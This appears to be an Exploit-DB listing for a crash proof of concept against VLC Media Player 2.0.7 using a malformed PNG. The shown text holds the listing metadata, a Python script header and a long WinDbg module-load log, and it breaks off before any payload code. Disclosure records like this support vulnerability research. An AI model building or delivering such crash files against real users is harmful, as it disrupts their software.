Exploit-DB #26526
Description: VideoLAN VLC Media Player 2.0.7 - '.png' Crash (PoC)
Type: dos
Platform: windows
Date: 2013-07-01
Author: Kevin Fujimoto

Exploit:
#!/usr/bin/python

# VLC Media Player 2.0.7 PNG Crash PoC
# Vendor Homepage: http://www.videolan.org/
# Version: 2.0.7
# Tested on: Windows 7 64-bit
# Author: Kevin Fujimoto

# Debug Information:
# Microsoft (R) Windows Debugger Version 6.12.0002.633 X86
# Copyright (c) Microsoft Corporation. All rights reserved.

# *** wait with pending attach
# Symbol search path is: SRV*g:\symbols*http://msdl.microsoft.com/download/symbols
# Executable search path is: 
# ModLoad: [PII_REDACTED]   G:\Program Files (x86)\VideoLAN\VLC\vlc.exe
# ModLoad: 775b0[PII_REDACTED]0   C:\Windows\SysWOW64\ntdll.dll
# ModLoad: 750f0[PII_REDACTED]0   C:\Windows\syswow64\kernel32.dll
# ModLoad: [PII_REDACTED]   C:\Windows\syswow64\KERNELBASE.dll
# ModLoad: 623e0000 6240c000   G:\Program Files (x86)\VideoLAN\VLC\libvlc.dll
# ModLoad: 50[PII_REDACTED]d000   G:\Program Files (x86)\VideoLAN\VLC\libvlccore.dll
# ModLoad: 75ab0000 75b50000   C:\Windows\syswow64\ADVAPI32.dll
# ModLoad: 76[PII_REDACTED]c000   C:\Windows\syswow64\msvcrt.dll
# ModLoad: [PII_REDACTED]   C:\Windows\SysWOW64\sechost.dll
# ModLoad: [PII_REDACTED]   C:\Windows\syswow64\RPCRT4.dll
# ModLoad: [PII_REDACTED]   C:\Windows\syswow64\SspiCli.dll
# ModLoad: 74ff0000 74ffc000   C:\Windows\syswow64\CRYPTBASE.dll
# ModLoad: 76390000 76fda000   C:\Windows\syswow64\SHELL32.DLL
# ModLoad: [PII_REDACTED]   C:\Windows\syswow64\SHLWAPI.dll
# ModLoad: 75dd0000 75e60000   C:\Windows\syswow64\GDI32.dll
# ModLoad: 75ca0000 75da0000   C:\Windows\syswow64\USER32.dll
# ModLoad: 760f0000 760fa000   C:\Windows\syswow64\LPK.dll
# ModLoad: 75bf0000 75c8d000   C:\Windows\syswow64\USP10.dll
# ModLoad: 71880000 718b2000   C:\Windows\system32\WINMM.DLL
# ModLoad: 75590000 755c5000   C:\Windows\syswow64\WS2_32.dll
# ModLoad: [PII_REDACTED]   C:\Windows\syswow64\NSI.dll
# ModLoad: [PII_REDACTED]   C:\Windows\syswow64\PSAPI.DLL
# ModLoad: [PII_REDACTED]   C:\Windows\syswow64\WININET.DLL
# ModLoad: 75be0000 75be4000   C:\Windows\syswow64\api-ms-win-downlevel-user32-l1-1-0.dll
# ModLoad: [PII_REDACTED]   C:\Windows\syswow64\api-ms-win-downlevel-advapi32-l1-1-0.dll
# ModLoad: [PII_REDACTED]   C:\Windows\syswow64\api-ms-win-downlevel-shlwapi-l1-1-0.dll
# ModLoad: 75c90000 75c94000   C:\Windows\syswow64\api-ms-win-downlevel-version-l1-1-0.dll
# ModLoad: 74df0000 74df9000   C:\Windows\system32\version.DLL
# ModLoad: 75a40000 75a43000   C:\Windows\syswow64\api-ms-win-downlevel-normaliz-l1-1-0.dll
# ModLoad: [PII_REDACTED]   C:\Windows\syswow64\normaliz.DLL
# ModLoad: [PII_REDACTED]   C:\Windows\syswow64\iertutil.dll
# ModLoad: 75a50000 75ab0000   C:\Windows\system32\IMM32.DLL
# ModLoad: 762c0000 7638c000   C:\Windows\syswow64\MSCTF.dll
# ModLoad: [PII_REDACTED]   C:\Windows\SysWOW64\guard32.dll
# ModLoad: 74de0000 74de7000   C:\Windows\system32\fltlib.dll
# ModLoad: 755d0000 7572c000   C:\Windows\syswow64\ole32.dll
# ModLoad: 73d90000 73d9b000   C:\Windows\system32\profapi.dll
# ModLoad: 720f0[PII_REDACTED]0   C:\Windows\system32\uxtheme.dll
# ModLoad: 73cb0000 73cc3000   C:\Windows\system32\dwmapi.dll
# ModLoad: 71f50000 720ee000   C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
# ModLoad: 75060000 750e3000   C:\Windows\syswow64\CLBCatQ.DLL
# ModLoad: 75b50000 75bdf000   C:\Windows\syswow64\OLEAUT32.dll
# ModLoad: 61070000 610bc000   G:\Program Files (x86)\VideoLAN\VLC\plugins\access\libdshow_plugin.dll
# ModLoad: 5bf20000 5bf3c000   G:\Program Files (x86)\VideoLAN\VLC\plugins\audio_output\libaout_directx_plugin.dll
# ModLoad: 5bf00000 5bf1d000   G:\Program Files (x86)\VideoLAN\VLC\plugins\audio_output\libwaveout_plugin.dll
# ModLoad: 5b850000 5b874000   G:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libdirectx_plugin.dll
# ModLoad: 5b830000 5b849000   G:\Program Files (x86)\VideoLAN\VLC\plugins\mmxext\libmemcpymmxext_plugin.dll
# ModLoad: 5b7f0000 5b82f000   G:\Program Files (x86)\VideoLAN\VLC\plugins\access\liblibbluray_plugin.dll
# ModLoad: [PII_REDACTED]   G:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_bd_plugin.dll
# ModLoad: 57fb0[PII_REDACTED]0   G:\Program Files (x86)\VideoLAN\VLC\plugins\access\libdvdnav_plugin.dll
# ModLoad: 5b7d0000 5b7eb000   G:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_vdr_plugin.dll
# ModLoad: 5b760000 5b77b000   G:\Program Files (x86)\VideoLAN\VLC\plugins\access\libfilesystem_plugin.dll
# ModLoad: 50830000 508ac000   G:\Program Files (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_httplive_plugin.dll
# ModLoad: [PII_REDACTED]   G:\Program Files (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_dash_plugin.dll
# ModLoad: 59[PII_REDACTED]a000   G:\Program Files (x86)\VideoLAN\VLC\plugins\access\libstream_filter_rar_plugin.dll
# ModLoad: [PII_REDACTED]   G:\Program Files (x86)\VideoLAN\VLC\plugins\access\libzip_plugin.dll
# ModLoad: [PII_REDACTED]   G:\Program Files (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_record_plugin.dll
# ModLoad: 57bb0000 57bda000   G:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libplaylist_plugin.dll
# ModLoad: 50[PII_REDACTED]f000   G:\Program Files (x86)\VideoLAN\VLC\plugins\meta_engine\libtaglib_plugin.dll
# ModLoad: 57b50000 57baa000   G:\Program Files (x86)\VideoLAN\VLC\plugins\lua\liblua_plugin.dll
# ModLoad: 500c0[PII_REDACTED]0   G:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libxml_plugin.dll
# ModLoad: 57cd0000 57ced000   G:\Program Files (x86)\VideoLAN\VLC\plugins\control\libhotkeys_plugin.dll
# ModLoad: [PII_REDACTED]   G:\Program Files (x86)\VideoLAN\VLC\plugins\control\libglobalhotkeys_plugin.dll
# ModLoad: 68cf0000 697d9000   G:\Program Files (x86)\VideoLAN\VLC\plugins\gui\libqt4_plugin.dll
# ModLoad: 75[PII_REDACTED]b000   C:\Windows\syswow64\COMDLG32.DLL
# ModLoad: [PII_REDACTED]   C:\Windows\system32\WINSPOOL.DRV
# ModLoad: [PII_REDACTED]   C:\Windows\syst